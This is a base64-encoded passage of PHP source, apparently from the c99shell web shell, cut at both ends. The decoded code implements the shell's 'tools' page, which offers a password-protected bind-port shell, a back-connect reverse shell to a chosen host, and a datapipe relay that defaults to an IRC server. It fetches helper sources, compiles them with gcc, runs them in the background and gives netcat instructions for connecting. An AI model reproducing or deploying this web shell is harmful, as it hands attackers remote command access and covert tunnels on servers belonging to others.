ICIgc2VsZWN0ZWQiIDogIiIpIC4gIj5Db3B5PC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICBl
Y2hvICI8b3B0aW9uIHZhbHVlPXVuc2VsZWN0IiAuICgkZHNwYWN0ID09ICJ1bnNlbGVjdCIgPyAi
IHNlbGVjdGVkIiA6ICIiKSAuICI+VW5zZWxlY3Q8L29wdGlvbj4iOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PVwiQ29uZmlybVwiPjwvcD4iOw0KICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgICAg
IH0NCiAgICB9DQogICAgaWYgKCRhY3QgPT0gInRvb2xzIikNCiAgICB7DQogICAgICAgICRibmRw
b3J0c3JjcyA9IGFycmF5KA0KICAgICAgICAgICAgImM5OXNoX2JpbmRwb3J0LnBsIiA9PiBhcnJh
eSgNCiAgICAgICAgICAgICAgICAiVXNpbmcgUEVSTCIsDQogICAgICAgICAgICAgICAgInBlcmwg
JXBhdGggJXBvcnQiDQogICAgICAgICAgICApICwNCiAgICAgICAgICAgICJjOTlzaF9iaW5kcG9y
dC5jIiA9PiBhcnJheSgNCiAgICAgICAgICAgICAgICAiVXNpbmcgQyIsDQogICAgICAgICAgICAg
ICAgIiVwYXRoICVwb3J0ICVwYXNzIg0KICAgICAgICAgICAgKQ0KICAgICAgICApOw0KICAgICAg
ICAkYmNzcmNzID0gYXJyYXkoDQogICAgICAgICAgICAiYzk5c2hfYmFja2Nvbm4ucGwiID0+IGFy
cmF5KA0KICAgICAgICAgICAgICAgICJVc2luZyBQRVJMIiwNCiAgICAgICAgICAgICAgICAicGVy
bCAlcGF0aCAlaG9zdCAlcG9ydCINCiAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgImM5OXNo
X2JhY2tjb25uLmMiID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICJVc2luZyBDIiwNCiAgICAg
ICAgICAgICAgICAiJXBhdGggJWhvc3QgJXBvcnQiDQogICAgICAgICAgICApDQogICAgICAgICk7
DQogICAgICAgICRkcHNyY3MgPSBhcnJheSgNCiAgICAgICAgICAgICJjOTlzaF9kYXRhcGlwZS5w
bCIgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgIlVzaW5nIFBFUkwiLA0KICAgICAgICAgICAg
ICAgICJwZXJsICVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZWhvc3QgJXJlbW90ZXBvcnQiDQogICAg
ICAgICAgICApICwNCiAgICAgICAgICAgICJjOTlzaF9kYXRhcGlwZS5jIiA9PiBhcnJheSgNCiAg
ICAgICAgICAgICAgICAiVXNpbmcgQyIsDQogICAgICAgICAgICAgICAgIiVwYXRoICVsb2NhbHBv
cnQgJXJlbW90ZXBvcnQgJXJlbW90ZWhvc3QiDQogICAgICAgICAgICApDQogICAgICAgICk7DQog
ICAgICAgIGlmICghaXNfYXJyYXkoJGJpbmQpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkYmlu
ZCA9IGFycmF5KCk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCFpc19hcnJheSgkYmMpKQ0KICAg
ICAgICB7DQogICAgICAgICAgICAkYmMgPSBhcnJheSgpOw0KICAgICAgICB9DQogICAgICAgIGlm
ICghaXNfYXJyYXkoJGRhdGFwaXBlKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGRhdGFwaXBl
ID0gYXJyYXkoKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWlzX251bWVyaWMoJGJpbmRbInBv
cnQiXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRf
cG9ydDsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZW1wdHkoJGJpbmRbInBhc3MiXSkpDQogICAg
ICAgIHsNCiAgICAgICAgICAgICRiaW5kWyJwYXNzIl0gPSAkYmluZHBvcnRfcGFzczsNCiAgICAg
ICAgfQ0KICAgICAgICBpZiAoZW1wdHkoJGJjWyJob3N0Il0pKQ0KICAgICAgICB7DQogICAgICAg
ICAgICAkYmNbImhvc3QiXSA9IGdldGVudigiUkVNT1RFX0FERFIiKTsNCiAgICAgICAgfQ0KICAg
ICAgICBpZiAoIWlzX251bWVyaWMoJGJjWyJwb3J0Il0pKQ0KICAgICAgICB7DQogICAgICAgICAg
ICAkYmNbInBvcnQiXSA9ICRiY19wb3J0Ow0KICAgICAgICB9DQogICAgICAgIGlmIChlbXB0eSgk
ZGF0YXBpcGVbInJlbW90ZWFkZHIiXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRkYXRhcGlw
ZVsicmVtb3RlYWRkciJdID0gImlyYy5kYWxuZXQucnU6NjY2NyI7DQogICAgICAgIH0NCiAgICAg
ICAgaWYgKCFpc19udW1lcmljKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pKQ0KICAgICAgICB7DQog
ICAgICAgICAgICAkZGF0YXBpcGVbImxvY2FscG9ydCJdID0gJGRhdGFwaXBlX2xvY2FscG9ydDsN
CiAgICAgICAgfQ0KICAgICAgICBpZiAoIWVtcHR5KCRiaW5kc3VibWl0KSkNCiAgICAgICAgew0K
ICAgICAgICAgICAgZWNobyAiPGI+UmVzdWx0IG9mIGJpbmRpbmcgcG9ydDo8L2I+PGJyPiI7DQog
ICAgICAgICAgICAkdiA9ICRibmRwb3J0c3Jjc1skYmluZFsic3JjIl1dOw0KICAgICAgICAgICAg
aWYgKGVtcHR5KCR2KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICJVbmtu
b3duIGZpbGUhPGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKGZzb2Nr
b3BlbihnZXRlbnYoIlNFUlZFUl9BRERSIikgLCAkYmluZFsicG9ydCJdLCAkZXJybm8sICRlcnJz
dHIsIDAuMSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiUG9ydCBhbHJl
ZHkgaW4gdXNlLCBzZWxlY3QgYW55IG90aGVyITxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR3ID0gZXhwbG9kZSgi
LiIsICRiaW5kWyJzcmMiXSk7DQogICAgICAgICAgICAgICAgJGV4dCA9ICR3W2NvdW50KCR3KSAt
IDFdOw0KICAgICAgICAgICAgICAgIHVuc2V0KCR3W2NvdW50KCR3KSAtIDFdKTsNCiAgICAgICAg
ICAgICAgICAkc3JjcGF0aCA9IGpvaW4oIi4iLCAkdykgLiAiLiIgLiByYW5kKDAsIDk5OSkgLiAi
LiIgLiAkZXh0Ow0KICAgICAgICAgICAgICAgICRiaW5wYXRoID0gJHRtcGRpciAuIGpvaW4oIi4i
LCAkdykgLiByYW5kKDAsIDk5OSk7DQogICAgICAgICAgICAgICAgaWYgKCRleHQgPT0gInBsIikN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRiaW5wYXRoID0gJHNyY3Bh
dGg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHNyY3BhdGgp
Ow0KICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCAiYWIrIik7DQogICAgICAg
ICAgICAgICAgaWYgKCEkZnApDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICBlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIiAuICRzcmNwYXRoIC4gIlwiITxicj4i
Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCEkZGF0YSA9IGM5
OWdldHNvdXJjZSgkYmluZFsic3JjIl0pKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiOw0KICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICBmd3JpdGUoJGZwLCAkZGF0YSwgc3RybGVuKCRkYXRhKSk7DQogICAgICAgICAgICAg
ICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGV4dCA9PSAiYyIp
DQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXRnY2Mg
PSBteXNoZWxsZXhlYygiZ2NjIC1vICIgLiAkYmlucGF0aCAuICIgIiAuICRzcmNwYXRoKTsNCiAg
ICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwg
JGJpbnBhdGgsICR2WzFdKTsNCiAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJfcmVwbGFj
ZSgiJXBvcnQiLCAkYmluZFsicG9ydCJdLCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAgICR2
WzFdID0gc3RyX3JlcGxhY2UoIiVwYXNzIiwgJGJpbmRbInBhc3MiXSwgJHZbMV0pOw0KICAgICAg
ICAgICAgICAgICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHZbMV0pOw0KICAg
ICAgICAgICAgICAgICAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdIC4gIiA+IC9kZXYv
bnVsbCAmIik7DQogICAgICAgICAgICAgICAgICAgIHNsZWVwKDUpOw0KICAgICAgICAgICAgICAg
ICAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwgJGJpbmRbInBvcnQiXSwgJGVycm5v
LCAkZXJyc3RyLCA1KTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCEkc29jaykNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiSSBjYW4ndCBjb25u
ZWN0IHRvIGxvY2FsaG9zdDoiIC4gJGJpbmRbInBvcnQiXSAuICIhIEkgdGhpbmsgeW91IHNob3Vs
ZCBjb25maWd1cmUgeW91ciBmaXJld2FsbC4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyAiQmluZGluZy4uLiBvayEgQ29ubmVjdCB0byA8Yj4iIC4gZ2V0ZW52
KCJTRVJWRVJfQUREUiIpIC4gIjoiIC4gJGJpbmRbInBvcnQiXSAuICI8L2I+ISBZb3Ugc2hvdWxk
IHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIgLiBnZXRlbnYoIlNFUlZFUl9BRERS
IikgLiAiICIgLiAkYmluZFsicG9ydCJdIC4gIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiIC4g
JHN1cmwgLiAiYWN0PXByb2Nlc3NlcyZncmVwPSIgLiBiYXNlbmFtZSgkYmlucGF0aCkgLiAiXCI+
PHU+VmlldyBiaW5kZXIncyBwcm9jZXNzPC91PjwvYT48L2NlbnRlcj4iOw0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4i
Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmICghZW1wdHkoJGJjc3VibWl0
KSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGI+UmVzdWx0IG9mIGJhY2sgY29ubmVj
dGlvbjo8L2I+PGJyPiI7DQogICAgICAgICAgICAkdiA9ICRiY3NyY3NbJGJjWyJzcmMiXV07DQog
ICAgICAgICAgICBpZiAoZW1wdHkoJHYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
IGVjaG8gIlVua25vd24gZmlsZSE8YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVs
c2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdyA9IGV4cGxvZGUoIi4iLCAkYmNb
InNyYyJdKTsNCiAgICAgICAgICAgICAgICAkZXh0ID0gJHdbY291bnQoJHcpIC0gMV07DQogICAg
ICAgICAgICAgICAgdW5zZXQoJHdbY291bnQoJHcpIC0gMV0pOw0KICAgICAgICAgICAgICAgICRz
cmNwYXRoID0gam9pbigiLiIsICR3KSAuICIuIiAuIHJhbmQoMCwgOTk5KSAuICIuIiAuICRleHQ7
DQogICAgICAgICAgICAgICAgJGJpbnBhdGggPSAkdG1wZGlyIC4gam9pbigiLiIsICR3KSAuIHJh
bmQoMCwgOTk5KTsNCiAgICAgICAgICAgICAgICBpZiAoJGV4dCA9PSAicGwiKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGJpbnBhdGggPSAkc3JjcGF0aDsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgQHVubGluaygkc3JjcGF0aCk7DQogICAgICAg
ICAgICAgICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsICJhYisiKTsNCiAgICAgICAgICAgICAgICBp
ZiAoISRmcCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNh
bid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiIC4gJHNyY3BhdGggLiAiXCIhPGJyPiI7DQogICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoISRkYXRhID0gYzk5Z2V0c291cmNl
KCRiY1sic3JjIl0pKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNo
byAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBmd3Jp
dGUoJGZwLCAkZGF0YSwgc3RybGVuKCRkYXRhKSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9z
ZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGV4dCA9PSAiYyIpDQogICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXRnY2MgPSBteXNoZWxsZXhl
YygiZ2NjIC1vICIgLiAkYmlucGF0aCAuICIgIiAuICRzcmNwYXRoKTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwgJGJpbnBhdGgsICR2
WzFdKTsNCiAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJWhvc3QiLCAk
YmNbImhvc3QiXSwgJHZbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cl9yZXBs
YWNlKCIlcG9ydCIsICRiY1sicG9ydCJdLCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAgICR2
WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwgIi8iLCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAg
ICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0gLiAiID4gL2Rldi9udWxsICYiKTsNCiAgICAg
ICAgICAgICAgICAgICAgZWNobyAiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiIC4gaHRtbHNw
ZWNpYWxjaGFycygkYmNbImhvc3QiXSkgLiAiOiIgLiBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9y
dCJdKSAuICIuLi48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAg
ICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkZHBzdWJtaXQpKQ0KICAgICAgICB7DQogICAgICAg
ICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgZGF0YXBpcGUtcnVubmluZzo8L2I+PGJyPiI7DQogICAg
ICAgICAgICAkdiA9ICRkcHNyY3NbJGRhdGFwaXBlWyJzcmMiXV07DQogICAgICAgICAgICBpZiAo
ZW1wdHkoJHYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIlVua25vd24g
ZmlsZSE8YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoZnNvY2tvcGVu
KGdldGVudigiU0VSVkVSX0FERFIiKSAsICRkYXRhcGlwZVsicG9ydCJdLCAkZXJybm8sICRlcnJz
dHIsIDAuMSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiUG9ydCBhbHJl
ZHkgaW4gdXNlLCBzZWxlY3QgYW55IG90aGVyITxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRzcmNwYXRoID0gJHRt
cGRpciAuICRkYXRhcGlwZVsic3JjIl07DQogICAgICAgICAgICAgICAgJHcgPSBleHBsb2RlKCIu
IiwgJGRhdGFwaXBlWyJzcmMiXSk7DQogICAgICAgICAgICAgICAgJGV4dCA9ICR3W2NvdW50KCR3
KSAtIDFdOw0KICAgICAgICAgICAgICAgIHVuc2V0KCR3W2NvdW50KCR3KSAtIDFdKTsNCiAgICAg
ICAgICAgICAgICAkc3JjcGF0aCA9IGpvaW4oIi4iLCAkdykgLiAiLiIgLiByYW5kKDAsIDk5OSkg
LiAiLiIgLiAkZXh0Ow0KICAgICAgICAgICAgICAgICRiaW5wYXRoID0gJHRtcGRpciAuIGpvaW4o
Ii4iLCAkdykgLiByYW5kKDAsIDk5OSk7DQogICAgICAgICAgICAgICAgaWYgKCRleHQgPT0gInBs
IikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRiaW5wYXRoID0gJHNy
Y3BhdGg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHNyY3Bh
dGgpOw0KICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCAiYWIrIik7DQogICAg
ICAgICAgICAgICAgaWYgKCEkZnApDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICBlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIiAuICRzcmNwYXRoIC4gIlwiITxi
cj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCEkZGF0YSA9
IGM5OWdldHNvdXJjZSgkZGF0YXBpcGVbInNyYyJdKSkNCiAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjsNCiAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJGRhdGEsIHN0cmxlbigkZGF0YSkpOw0KICAgICAg
ICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRleHQg
PT0gImMiKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAk
cmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiIC4gJGJpbnBhdGggLiAiICIgLiAkc3JjcGF0
aCk7DQogICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRzcmNwYXRoKTsNCiAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBsaXN0KCRkYXRhcGlwZVsicmVtb3Rl
aG9zdCJdLCAkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSkgPSBleHBsb2RlKCI6IiwgJGRhdGFwaXBl
WyJyZW1vdGVhZGRyIl0pOw0KICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cl9yZXBsYWNl
KCIlcGF0aCIsICRiaW5wYXRoLCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAgICR2WzFdID0g
c3RyX3JlcGxhY2UoIiVsb2NhbHBvcnQiLCAkZGF0YXBpcGVbImxvY2FscG9ydCJdLCAkdlsxXSk7
DQogICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVyZW1vdGVob3N0Iiwg
JGRhdGFwaXBlWyJyZW1vdGVob3N0Il0sICR2WzFdKTsNCiAgICAgICAgICAgICAgICAgICAgJHZb
MV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZXBvcnQiLCAkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSwg
JHZbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIv
IiwgJHZbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2
WzFdIC4gIiA+IC9kZXYvbnVsbCAmIik7DQogICAgICAgICAgICAgICAgICAgIHNsZWVwKDUpOw0K
ICAgICAgICAgICAgICAgICAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwgJGRhdGFw
aXBlWyJwb3J0Il0sICRlcnJubywgJGVycnN0ciwgNSk7DQogICAgICAgICAgICAgICAgICAgIGlm
ICghJHNvY2spDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
IGVjaG8gIkkgY2FuJ3QgY29ubmVjdCB0byBsb2NhbGhvc3Q6IiAuICRkYXRhcGlwZVsibG9jYWxw
b3J0Il0gLiAiISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjsN
CiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlJ1bm5pbmcgZGF0
YXBpcGUuLi4gb2shIENvbm5lY3QgdG8gPGI+IiAuIGdldGVudigiU0VSVkVSX0FERFIiKSAuICI6
IiAuICRkYXRhcGlwZVsicG9ydCJdIC4gIiwgYW5kIHlvdSB3aWxsIGNvbm5lY3RlZCB0byAiIC4g
JGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0gLiAiPC9iPiEgWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNv
cHk7LCBydW4gXCI8Yj5uYyAtdiAiIC4gZ2V0ZW52KCJTRVJWRVJfQUREUiIpIC4gIiAiIC4gJGJp
bmRbInBvcnQiXSAuICI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1w
cm9jZXNzZXMmZ3JlcD0iIC4gYmFzZW5hbWUoJGJpbnBhdGgpIC4gIlwiPjx1PlZpZXcgZGF0YXBp
cGUgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8YnI+IjsNCiAgICAgICAgICAg
IH0NCiAgICAgICAgfSA/PjxiPkJpbmRpbmcgcG9ydDo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9w
aHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29s
cz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+UG9y
dDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBo
dG1sc3BlY2lhbGNoYXJzKCRiaW5kWyJwb3J0Il0pOyA/PiI+Jm5ic3A7UGFzc3dvcmQ6IDxpbnB1
dCB0eXBlPXRleHQgbmFtZT0iYmluZFtwYXNzXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNp
YWxjaGFycygkYmluZFsicGFzcyJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmluZFtzcmNd
Ij48P3BocCBmb3JlYWNoICgkYm5kcG9ydHNyY3MgYXMgJGsgPT4gJHYpDQogICAgICAgIHsNCiAg
ICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiIC4gJGsgLiAiXCIiOw0KICAgICAgICAg
ICAgaWYgKCRrID09ICRiaW5kWyJzcmMiXSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICBlY2hvICIgc2VsZWN0ZWQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPiIg
LiAkdlswXSAuICI8L29wdGlvbj4iOw0KICAgICAgICB9ID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0
IHR5cGU9c3VibWl0IG5hbWU9YmluZHN1Ym1pdCB2YWx1ZT0iQmluZCI+PC9mb3JtPg0KPGI+QmFj
ayBjb25uZWN0aW9uOjwvYj48YnI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+
PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij5IT1NUOiA8aW5wdXQgdHlwZT10ZXh0
IG5hbWU9ImJjW2hvc3RdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1si
aG9zdCJdKTsgPz4iPiZuYnNwO1BvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmNbcG9ydF0i
IHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJwb3J0Il0pOyA/PiI+Jm5i
c3A7PHNlbGVjdCBuYW1lPSJiY1tzcmNdIj48P3BocCBmb3JlYWNoICgkYmNzcmNzIGFzICRrID0+
ICR2KQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiIiAuICRr
IC4gIlwiIjsNCiAgICAgICAgICAgIGlmICgkayA9PSAkYmNbInNyYyJdKQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgIGVjaG8gIiBzZWxlY3RlZCI7DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBlY2hvICI+IiAuICR2WzBdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgIH0gPz48L3Nl
bGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1iY3N1Ym1pdCB2YWx1ZT0iQ29ubmVj
dCI+PC9mb3JtPg0KQ2xpY2sgIkNvbm5lY3QiIG9ubHkgYWZ0ZXIgb3BlbiBwb3J0IGZvciBpdC4g
WW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gIjxiPm5jIC1sIC1uIC12IC1wIDw/cGhw
IGVjaG8gJGJjX3BvcnQ7ID8+PC9iPiIhPGJyPjxicj4NCjxiPkRhdGFwaXBlOjwvYj48YnI+PGZv
cm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9
YWN0IHZhbHVlPXRvb2xzPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVj
aG8gJGQ7ID8+Ij5IT1NUOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImRhdGFwaXBlW3JlbW90ZWFk
ZHJdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhcGlwZVsicmVtb3Rl
YWRkciJdKTsgPz4iPiZuYnNwO0xvY2FsIHBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iZGF0
YXBpcGVbbG9jYWxwb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGF0
YXBpcGVbImxvY2FscG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iZGF0YXBpcGVbc3Jj
XSI+PD9waHAgZm9yZWFjaCAoJGRwc3JjcyBhcyAkayA9PiAkdikNCiAgICAgICAgew0KICAgICAg
ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIgLiAkayAuICJcIiI7DQogICAgICAgICAgICBp
ZiAoJGsgPT0gJGJjWyJzcmMiXSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hv
ICIgc2VsZWN0ZWQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPiIgLiAkdlsw
XSAuICI8L29wdGlvbj4iOw0KICAgICAgICB9ID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9
c3VibWl0IG5hbWU9ZHBzdWJtaXQgdmFsdWU9IlJ1biI+PC9mb3JtPjxiPk5vdGU6PC9iPiBzb3Vy
